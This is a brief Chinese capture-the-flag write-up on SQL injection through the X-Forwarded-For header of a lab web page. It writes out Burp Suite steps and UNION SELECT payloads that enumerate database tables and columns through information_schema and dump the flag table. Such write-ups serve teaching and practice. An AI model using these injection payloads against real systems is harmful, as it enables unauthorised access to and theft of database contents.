CTF-HTTP头注入漏洞测试(X-Forwarded-for)

根据题意

X-Forwarded-For（XFF）是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
进入环境，打开跳转页

打开Burp Suite ，抓包，右键发送给repeater，填入X-Forwarded-For，首先判断是否可注入。

order by 判断表数量，从1开始依次试试，最后发现是4

union select 1,2,3,4测试其注入点的位置是在4，通过union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())可知表名为comment,flag,goods,user。

.通过union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)可知列名为id,flag。

最后通过union select 1,2,3,(select group_concat(flag) from flag)可得flag的数值.

验证flag得到key